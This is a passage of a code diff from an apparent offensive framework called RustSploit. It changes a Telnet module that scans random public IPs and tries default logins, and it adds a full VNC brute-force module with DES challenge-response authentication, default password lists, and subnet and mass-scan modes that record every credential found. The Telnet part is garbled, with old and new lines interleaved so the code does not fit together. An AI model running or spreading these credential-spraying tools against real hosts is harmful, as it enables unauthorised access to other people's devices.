creds.push((u.to_string(), p.to_string()));
|
||||
}
|
||||
}
|
||||
// Also add reverse (pass as user) just in case for some
|
||||
creds.push(("1234".to_string(), "1234".to_string()));
|
||||
let creds = Arc::new(creds);
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(CONCURRENCY));
|
||||
let stats_checked = Arc::new(AtomicUsize::new(0));
|
||||
let stats_found = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
// Spawn stats reporter
|
||||
let s_checked = stats_checked.clone();
|
||||
let s_found = stats_found.clone();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(5)).await;
|
||||
println!(
|
||||
"[*] Status: {} IPs checked, {} Creds found",
|
||||
s_checked.load(Ordering::Relaxed),
|
||||
s_found.load(Ordering::Relaxed).to_string().green().bold()
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
if target.is_empty() || target == "random" || target == "0.0.0.0/0" {
|
||||
// Random Mode
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await.unwrap();
|
||||
let exc = exclusions.clone();
|
||||
let cr = creds.clone();
|
||||
let sc = stats_checked.clone();
|
||||
let sf = stats_found.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc);
|
||||
|
||||
// Check if already tested
|
||||
if !is_ip_checked(&ip).await {
|
||||
mark_ip_checked(&ip).await;
|
||||
scan_ip(Some(ip), cr, sf).await;
|
||||
}
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false).await?;
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results?", false).await?;
|
||||
let results_file = if save_results {
|
||||
Some(
|
||||
cfg_prompt_output_file(
|
||||
"results_file",
|
||||
"Results output file",
|
||||
"telnet_sweep_creds.txt",
|
||||
)
|
||||
.await?,
|
||||
)
|
||||
} else {
|
||||
// File/List Mode
|
||||
// We assume 'target' is a file path since it's a "hose" module
|
||||
let content = tokio::fs::read_to_string(target).await.unwrap_or_default();
|
||||
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
|
||||
|
||||
if lines.is_empty() {
|
||||
println!("No targets found in file or invalid target string.");
|
||||
return Ok(());
|
||||
}
|
||||
None
|
||||
};
|
||||
|
||||
println!("Loaded {} IPs from list", lines.len());
|
||||
let results_file_clone = results_file.clone();
|
||||
let verbose_flag = verbose;
|
||||
|
||||
for ip_str in lines {
|
||||
let permit = semaphore.clone().acquire_owned().await.unwrap();
|
||||
let cr = creds.clone();
|
||||
let sc = stats_checked.clone();
|
||||
let sf = stats_found.clone();
|
||||
let ip = ip_str.clone();
|
||||
// Use the shared mass scan engine with telnet probe
|
||||
run_mass_scan(
|
||||
target,
|
||||
MassScanConfig {
|
||||
protocol_name: "Telnet-Hose",
|
||||
default_port: 23,
|
||||
state_file: "telnet_sweep_state.log",
|
||||
default_output: "telnet_sweep_results.txt",
|
||||
default_concurrency: 500,
|
||||
},
|
||||
move |ip, port| {
|
||||
let rf = results_file_clone.clone();
|
||||
async move {
|
||||
// Also try alternate telnet ports beyond the configured one
|
||||
let ports_to_try: Vec<u16> = if TELNET_PORTS.contains(&port) {
|
||||
TELNET_PORTS.to_vec()
|
||||
} else {
|
||||
let mut v = vec![port];
|
||||
v.extend_from_slice(TELNET_PORTS);
|
||||
v.sort_unstable();
|
||||
v.dedup();
|
||||
v
|
||||
};
|
||||
|
||||
tokio::spawn(async move {
|
||||
if !is_ip_checked(&ip).await {
|
||||
mark_ip_checked(&ip).await;
|
||||
scan_ip(ip.parse().ok(), cr, sf).await;
|
||||
}
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
|
||||
// Wait for all tasks to finish (simple hack: try to acquire all semaphores)
|
||||
// In a real hose, we just run until done.
|
||||
for _ in 0..CONCURRENCY {
|
||||
let _ = semaphore.acquire().await.unwrap();
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
|
||||
let mut rng = rand::rng();
|
||||
loop {
|
||||
let octets: [u8; 4] = rng.random();
|
||||
let ip = Ipv4Addr::from(octets);
|
||||
let ip_addr = IpAddr::V4(ip);
|
||||
|
||||
let mut excluded = false;
|
||||
for net in exclusions {
|
||||
if net.contains(ip_addr) {
|
||||
excluded = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if !excluded {
|
||||
return ip_addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn is_ip_checked(ip: &impl ToString) -> bool {
|
||||
// Grep for "checked: <ip>" in state file
|
||||
let ip_s = ip.to_string();
|
||||
let status = Command::new("grep")
|
||||
.arg("-F")
|
||||
.arg("-q")
|
||||
.arg(format!("checked: {}", ip_s))
|
||||
.arg(STATE_FILE)
|
||||
.status()
|
||||
.await;
|
||||
|
||||
match status {
|
||||
Ok(s) => s.success(), // Grep returns 0 (true) if found
|
||||
Err(_) => false, // File might not exist yet
|
||||
}
|
||||
}
|
||||
|
||||
async fn mark_ip_checked(ip: &impl ToString) {
|
||||
let data = format!("checked: {}\n", ip.to_string());
|
||||
if let Ok(mut file) = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(STATE_FILE)
|
||||
.await
|
||||
{
|
||||
let _ = file.write_all(data.as_bytes()).await;
|
||||
}
|
||||
}
|
||||
|
||||
async fn save_result(ip: &str, port: u16, user: &str, pass: &str) {
|
||||
let data = format!("{}:{} {}:{}\n", ip, port, user, pass);
|
||||
println!("{} {}", "[+] HOSE SUCCESS:".green().bold(), data.trim());
|
||||
if let Ok(mut file) = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(OUTPUT_FILE)
|
||||
.await
|
||||
{
|
||||
let _ = file.write_all(data.as_bytes()).await;
|
||||
}
|
||||
}
|
||||
|
||||
async fn scan_ip(
|
||||
ip_opt: Option<IpAddr>,
|
||||
creds: Arc<Vec<(String, String)>>,
|
||||
stats_found: Arc<AtomicUsize>
|
||||
) {
|
||||
let Some(ip) = ip_opt else { return };
|
||||
let ip_str = ip.to_string();
|
||||
|
||||
let mut handles = Vec::new();
|
||||
|
||||
for &port in TELNET_PORTS {
|
||||
let socket_addr = SocketAddr::new(ip, port);
|
||||
let creds = creds.clone();
|
||||
let stats_found = stats_found.clone();
|
||||
let ip_str = ip_str.clone();
|
||||
|
||||
handles.push(tokio::spawn(async move {
|
||||
// Quick Connect Check
|
||||
if timeout(Duration::from_millis(CONNECT_TIMEOUT_MS), TcpStream::connect(&socket_addr)).await.is_err() {
|
||||
return;
|
||||
}
|
||||
|
||||
// Port is open, try credentials
|
||||
for (user, pass) in creds.iter() {
|
||||
match try_telnet_login_hose(&socket_addr, user, pass).await {
|
||||
Ok(true) => {
|
||||
save_result(&ip_str, port, user, pass).await;
|
||||
stats_found.fetch_add(1, Ordering::Relaxed);
|
||||
return; // Stop after first success on this port
|
||||
for &p in &ports_to_try {
|
||||
let socket = SocketAddr::new(ip, p);
|
||||
// Quick connect check
|
||||
if verbose_flag {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] Checking {}:{} connectivity...", ip, p).dimmed()
|
||||
);
|
||||
}
|
||||
if !crate::utils::tcp_port_open(ip, p, std::time::Duration::from_secs(2)).await
|
||||
{
|
||||
if verbose_flag {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] {}:{} - port closed/filtered", ip, p).dimmed()
|
||||
);
|
||||
}
|
||||
continue;
|
||||
}
|
||||
if verbose_flag {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] {}:{} - port open, trying credentials...", ip, p)
|
||||
.dimmed()
|
||||
);
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
}));
|
||||
}
|
||||
|
||||
// Wait for all ports to finish checking
|
||||
for h in handles {
|
||||
let _ = h.await;
|
||||
}
|
||||
// Try each credential pair
|
||||
for (user, pass) in TOP_CREDENTIALS.iter() {
|
||||
if verbose_flag {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] {}:{} trying {}:{}", ip, p, user, pass).dimmed()
|
||||
);
|
||||
}
|
||||
if let Ok(true) = try_telnet_login_hose(&socket, user, pass).await {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
let line = format!("[{}] {}:{}:{}:{}\n", ts, ip, p, user, pass);
|
||||
|
||||
// Store credential in framework credential store
|
||||
{
|
||||
let id = crate::cred_store::store_credential(
|
||||
&ip.to_string(),
|
||||
p,
|
||||
"telnet",
|
||||
user,
|
||||
pass,
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/generic/telnet_sweep",
|
||||
)
|
||||
.await;
|
||||
if id.is_none() { crate::meprintln!("[!] Failed to store credential"); }
|
||||
}
|
||||
|
||||
// Save to dedicated results file if requested
|
||||
if let Some(ref path) = rf {
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.create(true).append(true);
|
||||
opts.mode(0o600);
|
||||
if let Ok(mut f) = opts.open(path) {
|
||||
if let Err(e) = std::io::Write::write_all(&mut f, line.as_bytes()) { crate::meprintln!("[!] Results file write error: {}", e); }
|
||||
}
|
||||
}
|
||||
|
||||
return Some(line);
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
},
|
||||
)
|
||||
.await
|
||||
}
|
||||
|
||||
// Simplified & Optimized Telnet Login for Hose
|
||||
@@ -280,7 +235,7 @@ async fn try_telnet_login_hose(
|
||||
if success {
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
|
||||
// If we failed AND never saw a proper banner (blind/silence), retry with Password Only
|
||||
if !banner_seen {
|
||||
// Attempt 2: Blind Password Only
|
||||
@@ -289,7 +244,7 @@ async fn try_telnet_login_hose(
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
@@ -299,15 +254,11 @@ async fn do_telnet_session(
|
||||
username: &str,
|
||||
password: &str,
|
||||
force_password_only: bool,
|
||||
) -> Result<(bool, bool)> { // returns (success, banner_detected)
|
||||
|
||||
let stream_res = timeout(
|
||||
Duration::from_millis(CONNECT_TIMEOUT_MS),
|
||||
TcpStream::connect(socket)
|
||||
).await;
|
||||
|
||||
let stream = match stream_res {
|
||||
Ok(Ok(s)) => s,
|
||||
) -> Result<(bool, bool)> {
|
||||
// returns (success, banner_detected)
|
||||
|
||||
let stream = match crate::utils::network::tcp_connect_addr(*socket, Duration::from_millis(CONNECT_TIMEOUT_MS)).await {
|
||||
Ok(s) => s,
|
||||
_ => return Ok((false, false)), // Connect fail
|
||||
};
|
||||
|
||||
@@ -330,7 +281,7 @@ async fn do_telnet_session(
|
||||
Ok(Err(_)) => return Ok((false, banner_detected)), // Error
|
||||
Err(_) => {
|
||||
// Read Timeout logic
|
||||
|
||||
|
||||
// If waiting for banner and timed out -> No Banner Detected
|
||||
if state == TelnetState::WaitingForBanner {
|
||||
// Decide action based on mode
|
||||
@@ -341,62 +292,75 @@ async fn do_telnet_session(
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
if state == TelnetState::WaitingForResult || state == TelnetState::WaitingForHelpResponse {
|
||||
// Timeout waiting for result/help usually means fail or stuck
|
||||
return Ok((false, banner_detected));
|
||||
|
||||
if state == TelnetState::WaitingForResult
|
||||
|| state == TelnetState::WaitingForHelpResponse
|
||||
{
|
||||
// Timeout waiting for result/help usually means fail or stuck
|
||||
return Ok((false, banner_detected));
|
||||
}
|
||||
|
||||
continue;
|
||||
|
||||
continue;
|
||||
}
|
||||
};
|
||||
|
||||
// IAC Stripping (Minimal)
|
||||
let s = String::from_utf8_lossy(&buf[..n]);
|
||||
let lower = s.to_lowercase();
|
||||
|
||||
|
||||
// Handle current state
|
||||
match state {
|
||||
TelnetState::WaitingForBanner => {
|
||||
if lower.contains("pass") || lower.contains("word") {
|
||||
banner_detected = true;
|
||||
state = TelnetState::SendingPassword;
|
||||
} else if lower.contains("login") || lower.contains("user") || lower.contains("name") {
|
||||
} else if lower.contains("login")
|
||||
|| lower.contains("user")
|
||||
|| lower.contains("name")
|
||||
{
|
||||
banner_detected = true;
|
||||
state = TelnetState::SendingUsername;
|
||||
}
|
||||
}
|
||||
TelnetState::SendingUsername => {
|
||||
// Should not happen here if we just transitioned,
|
||||
// but if we are reading response after sending user:
|
||||
if lower.contains("pass") || lower.contains("word") {
|
||||
// Should not happen here if we just transitioned,
|
||||
// but if we are reading response after sending user:
|
||||
if lower.contains("pass") || lower.contains("word") {
|
||||
state = TelnetState::SendingPassword;
|
||||
}
|
||||
}
|
||||
}
|
||||
TelnetState::WaitingForPasswordPrompt => {
|
||||
TelnetState::WaitingForPasswordPrompt => {
|
||||
if lower.contains("pass") || lower.contains("word") {
|
||||
state = TelnetState::SendingPassword;
|
||||
}
|
||||
}
|
||||
TelnetState::WaitingForResult => {
|
||||
if lower.contains("incorrect") || lower.contains("fail") || lower.contains("denied") || lower.contains("error") {
|
||||
if lower.contains("incorrect")
|
||||
|| lower.contains("fail")
|
||||
|| lower.contains("denied")
|
||||
|| lower.contains("error")
|
||||
{
|
||||
return Ok((false, banner_detected));
|
||||
}
|
||||
|
||||
if lower.contains("#") || lower.contains("$") || (lower.contains(">") && !lower.contains(">>")) || lower.contains("welcome") {
|
||||
if lower.contains("#")
|
||||
|| lower.contains("$")
|
||||
|| (lower.contains(">") && !lower.contains(">>"))
|
||||
|| lower.contains("welcome")
|
||||
{
|
||||
state = TelnetState::SendingHelp;
|
||||
}
|
||||
}
|
||||
TelnetState::WaitingForHelpResponse => {
|
||||
let mut match_count = 0;
|
||||
for kw in HELP_KEYWORDS {
|
||||
if lower.contains(kw) {
|
||||
match_count += 1;
|
||||
}
|
||||
}
|
||||
if match_count >= 2 {
|
||||
return Ok((true, banner_detected));
|
||||
}
|
||||
let mut match_count = 0;
|
||||
for kw in HELP_KEYWORDS {
|
||||
if lower.contains(kw) {
|
||||
match_count += 1;
|
||||
}
|
||||
}
|
||||
if match_count >= 2 {
|
||||
return Ok((true, banner_detected));
|
||||
}
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
@@ -404,17 +368,21 @@ async fn do_telnet_session(
|
||||
// Perform Writes if needed
|
||||
match state {
|
||||
TelnetState::SendingUsername => {
|
||||
let _ = writer.write_all(format!("{}\r\n", username).as_bytes()).await;
|
||||
if let Err(e) = writer
|
||||
.write_all(format!("{}\r\n", username).as_bytes())
|
||||
.await { crate::meprintln!("[!] Write error: {}", e); }
|
||||
// Add requested 2s delay
|
||||
tokio::time::sleep(Duration::from_secs(2)).await;
|
||||
state = TelnetState::WaitingForPasswordPrompt;
|
||||
}
|
||||
TelnetState::SendingPassword => {
|
||||
let _ = writer.write_all(format!("{}\r\n", password).as_bytes()).await;
|
||||
if let Err(e) = writer
|
||||
.write_all(format!("{}\r\n", password).as_bytes())
|
||||
.await { crate::meprintln!("[!] Write error: {}", e); }
|
||||
state = TelnetState::WaitingForResult;
|
||||
}
|
||||
TelnetState::SendingHelp => {
|
||||
let _ = writer.write_all(b"help\r\n").await;
|
||||
if let Err(e) = writer.write_all(b"help\r\n").await { crate::meprintln!("[!] Write error: {}", e); }
|
||||
state = TelnetState::WaitingForHelpResponse;
|
||||
}
|
||||
_ => {}
|
||||
|
||||
@@ -0,0 +1,774 @@
|
||||
//! VNC Brute Force Module
|
||||
//!
|
||||
//! Raw TCP implementation of VNC (RFB) DES challenge-response authentication.
|
||||
//! Supports RFB protocol versions 3.3, 3.7, and 3.8.
|
||||
//!
|
||||
//! Protocol flow:
|
||||
//! 1. Read server version: "RFB 003.00x\n"
|
||||
//! 2. Send client version: "RFB 003.008\n"
|
||||
//! 3. Read security types, select VNC Authentication (type 2)
|
||||
//! 4. Read 16-byte challenge
|
||||
//! 5. Encrypt challenge with DES using password (bit-reversed, padded to 8 bytes)
|
||||
//! 6. Send 16-byte encrypted response
|
||||
//! 7. Read 4-byte security result: 0x00000000 = success
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use des::cipher::{BlockEncrypt, KeyInit, generic_array::GenericArray};
|
||||
use des::Des;
|
||||
use std::io::Write;
|
||||
use std::net::IpAddr;
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
|
||||
use crate::utils::{
|
||||
generate_combos_mode, ComboMode,
|
||||
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
|
||||
};
|
||||
use crate::utils::{
|
||||
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_output_file,
|
||||
cfg_prompt_port, cfg_prompt_yes_no, get_filename_in_current_dir, load_lines, normalize_target,
|
||||
};
|
||||
|
||||
// ============================================================================
|
||||
// Constants
|
||||
// ============================================================================
|
||||
|
||||
const DEFAULT_VNC_PORT: u16 = 5900;
|
||||
const CONNECT_TIMEOUT_MS: u64 = 5000;
|
||||
const READ_TIMEOUT_MS: u64 = 5000;
|
||||
|
||||
/// VNC is password-only (no username). These are common default passwords.
|
||||
const DEFAULT_PASSWORDS: &[&str] = &[
|
||||
"",
|
||||
"password",
|
||||
"1234",
|
||||
"admin",
|
||||
"vnc",
|
||||
"pass",
|
||||
"12345",
|
||||
"123456",
|
||||
"vncpass",
|
||||
"root",
|
||||
"test",
|
||||
"default",
|
||||
];
|
||||
|
||||
// RFB protocol constants
|
||||
const RFB_VERSION_38: &[u8] = b"RFB 003.008\n";
|
||||
const RFB_VERSION_37: &[u8] = b"RFB 003.007\n";
|
||||
const VNC_AUTH_TYPE: u8 = 2;
|
||||
const VNC_AUTH_NONE: u8 = 1;
|
||||
const CHALLENGE_LEN: usize = 16;
|
||||
|
||||
// ============================================================================
|
||||
// Module Info
|
||||
// ============================================================================
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "VNC Brute Force".to_string(),
|
||||
description: "Brute-force VNC authentication using DES challenge-response over raw TCP. \
|
||||
Implements the RFB protocol handshake with proper bit-reversed DES key derivation. \
|
||||
VNC uses password-only auth (max 8 chars). Supports default password testing, \
|
||||
wordlist mode, subnet scanning, and mass scan."
|
||||
.to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![
|
||||
"https://www.rfc-editor.org/rfc/rfc6143".to_string(),
|
||||
],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Main Entry Point
|
||||
// ============================================================================
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
crate::mprintln!("{}", "=== VNC Brute Force Module ===".bold());
|
||||
crate::mprintln!("[*] Target: {}", target);
|
||||
|
||||
// --- Mass Scan Mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Target: {} -- Mass Scan Mode", target).yellow()
|
||||
);
|
||||
return run_mass_scan(
|
||||
target,
|
||||
MassScanConfig {
|
||||
protocol_name: "VNC",
|
||||
default_port: DEFAULT_VNC_PORT,
|
||||
state_file: "vnc_brute_hose_state.log",
|
||||
default_output: "vnc_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
},
|
||||
move |ip, port| async move {
|
||||
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(5)).await {
|
||||
return None;
|
||||
}
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
let passwords = ["", "password", "1234", "admin", "vnc", "pass"];
|
||||
for pass in passwords {
|
||||
match try_vnc_auth(&addr, pass).await {
|
||||
VncResult::Success => {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
let display_pass = if pass.is_empty() { "(empty)" } else { pass };
|
||||
return Some(format!(
|
||||
"[{}] {}:{}:(vnc):{}\n",
|
||||
ts, ip, port, display_pass
|
||||
));
|
||||
}
|
||||
VncResult::NoAuth => {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
return Some(format!(
|
||||
"[{}] {}:{}:(vnc):(no-auth-required)\n",
|
||||
ts, ip, port
|
||||
));
|
||||
}
|
||||
VncResult::ConnectionError(_) => return None,
|
||||
VncResult::AuthFailed | VncResult::ProtocolError(_) => {}
|
||||
}
|
||||
}
|
||||
None
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Target: {} (Subnet Scan)", target).cyan()
|
||||
);
|
||||
|
||||
let port: u16 = cfg_prompt_port("port", "VNC Port", DEFAULT_VNC_PORT).await?;
|
||||
let passwords_file =
|
||||
cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if passes.is_empty() {
|
||||
return Err(anyhow!("Password list empty"));
|
||||
}
|
||||
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent hosts", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file(
|
||||
"output_file",
|
||||
"Output result file",
|
||||
"vnc_subnet_results.txt",
|
||||
)
|
||||
.await?;
|
||||
|
||||
// VNC is password-only: use a single dummy username and the password list
|
||||
let users = vec!["vnc".to_string()];
|
||||
|
||||
return run_subnet_bruteforce(
|
||||
target,
|
||||
port,
|
||||
users,
|
||||
passes,
|
||||
&SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "vnc",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/vnc_credcheck",
|
||||
skip_tcp_check: false,
|
||||
},
|
||||
move |ip: IpAddr, port: u16, _user: String, pass: String| async move {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
match try_vnc_auth(&addr, &pass).await {
|
||||
VncResult::Success | VncResult::NoAuth => LoginResult::Success,
|
||||
VncResult::AuthFailed => LoginResult::AuthFailed,
|
||||
VncResult::ConnectionError(e) => LoginResult::Error {
|
||||
message: e,
|
||||
retryable: true,
|
||||
},
|
||||
VncResult::ProtocolError(e) => LoginResult::Error {
|
||||
message: e,
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Single Target Mode ---
|
||||
let port: u16 = cfg_prompt_port("port", "VNC Port", DEFAULT_VNC_PORT).await?;
|
||||
|
||||
let use_defaults =
|
||||
cfg_prompt_yes_no("use_defaults", "Try default passwords first?", true).await?;
|
||||
|
||||
let passwords_file =
|
||||
if cfg_prompt_yes_no("use_password_wordlist", "Use password wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
if !use_defaults && passwords_file.is_none() {
|
||||
return Err(anyhow!(
|
||||
"At least a password wordlist or default passwords must be enabled"
|
||||
));
|
||||
}
|
||||
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent tasks", "5").await?;
|
||||
input.parse::<usize>().unwrap_or(5).max(1).min(50)
|
||||
};
|
||||
|
||||
let stop_on_success =
|
||||
cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(
|
||||
cfg_prompt_output_file("output_file", "Output file", "vnc_brute_results.txt").await?,
|
||||
)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
|
||||
let retry_on_error =
|
||||
cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
|
||||
let max_retries: usize = if retry_on_error {
|
||||
let input = cfg_prompt_default("max_retries", "Max retries per attempt", "2").await?;
|
||||
input.parse::<usize>().unwrap_or(2).max(1).min(10)
|
||||
} else {
|
||||
0
|
||||
};
|
||||
|
||||
// Load passwords
|
||||
let mut passwords = Vec::new();
|
||||
if let Some(ref file) = passwords_file {
|
||||
passwords = load_lines(file)?;
|
||||
if passwords.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Password wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} passwords", passwords.len()).green()
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// Add default passwords if requested
|
||||
if use_defaults {
|
||||
for pass in DEFAULT_PASSWORDS {
|
||||
if !passwords.contains(&pass.to_string()) {
|
||||
passwords.push(pass.to_string());
|
||||
}
|
||||
}
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Added {} default passwords", DEFAULT_PASSWORDS.len()).green()
|
||||
);
|
||||
}
|
||||
|
||||
if passwords.is_empty() {
|
||||
return Err(anyhow!("No passwords available"));
|
||||
}
|
||||
|
||||
// VNC is password-only: use a single dummy username for the combos framework
|
||||
let usernames = vec!["vnc".to_string()];
|
||||
let combos = generate_combos_mode(&usernames, &passwords, ComboMode::Linear);
|
||||
|
||||
crate::mprintln!(
|
||||
"\n{}",
|
||||
format!(
|
||||
"[*] Starting VNC brute-force on {}:{} ({} passwords, {} threads)",
|
||||
target,
|
||||
port,
|
||||
passwords.len(),
|
||||
concurrency
|
||||
)
|
||||
.cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[*] Note: VNC uses password-only auth (max 8 chars)".blue()
|
||||
);
|
||||
|
||||
let try_login = move |t: String, p: u16, _user: String, pass: String| async move {
|
||||
let addr = normalize_target(&format!("{}:{}", t, p))
|
||||
.unwrap_or_else(|_| format!("{}:{}", t, p));
|
||||
match try_vnc_auth(&addr, &pass).await {
|
||||
VncResult::Success | VncResult::NoAuth => LoginResult::Success,
|
||||
VncResult::AuthFailed => LoginResult::AuthFailed,
|
||||
VncResult::ConnectionError(e) => LoginResult::Error {
|
||||
message: e,
|
||||
retryable: true,
|
||||
},
|
||||
VncResult::ProtocolError(e) => LoginResult::Error {
|
||||
message: e,
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
};
|
||||
|
||||
let result = run_bruteforce(
|
||||
&BruteforceConfig {
|
||||
target: target.to_string(),
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 100, // VNC servers often rate-limit; small delay helps
|
||||
max_retries,
|
||||
service_name: "vnc",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/vnc_credcheck",
|
||||
},
|
||||
combos,
|
||||
try_login,
|
||||
)
|
||||
.await?;
|
||||
|
||||
// Print results with VNC-specific formatting (password-only, no username)
|
||||
if result.found.is_empty() {
|
||||
crate::mprintln!("{}", "[-] No valid passwords found.".yellow());
|
||||
} else {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[+] Found {} valid password(s):", result.found.len())
|
||||
.green()
|
||||
.bold()
|
||||
);
|
||||
for (host, _user, pass) in &result.found {
|
||||
let display_pass = if pass.is_empty() {
|
||||
"(empty)".to_string()
|
||||
} else {
|
||||
pass.clone()
|
||||
};
|
||||
crate::mprintln!(" {} {} password: {}", ">>".green(), host, display_pass);
|
||||
}
|
||||
}
|
||||
|
||||
if let Some(ref path) = save_path {
|
||||
result.save_to_file(path)?;
|
||||
}
|
||||
|
||||
// Unknown / errored attempts
|
||||
if !result.errors.is_empty() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored VNC responses.",
|
||||
result.errors.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if cfg_prompt_yes_no(
|
||||
"save_unknown_responses",
|
||||
"Save unknown responses to file?",
|
||||
true,
|
||||
)
|
||||
.await?
|
||||
{
|
||||
let default_name = "vnc_unknown_responses.txt";
|
||||
let fname = cfg_prompt_output_file(
|
||||
"unknown_responses_file",
|
||||
"What should the unknown results be saved as?",
|
||||
default_name,
|
||||
)
|
||||
.await?;
|
||||
let filename = get_filename_in_current_dir(&fname);
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
match opts.open(&filename) {
|
||||
Ok(mut file) => {
|
||||
writeln!(
|
||||
file,
|
||||
"# VNC Bruteforce Unknown/Errored Responses (host,pass,error)"
|
||||
)?;
|
||||
for (host, _user, pass, msg) in &result.errors {
|
||||
writeln!(file, "{} -> {} - {}", host, pass, msg)?;
|
||||
}
|
||||
file.flush()?;
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
|
||||
);
|
||||
}
|
||||
Err(e) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Could not create unknown response file '{}': {}",
|
||||
filename.display(),
|
||||
e
|
||||
)
|
||||
.red()
|
||||
);
|
||||
}
|
||||
}
|
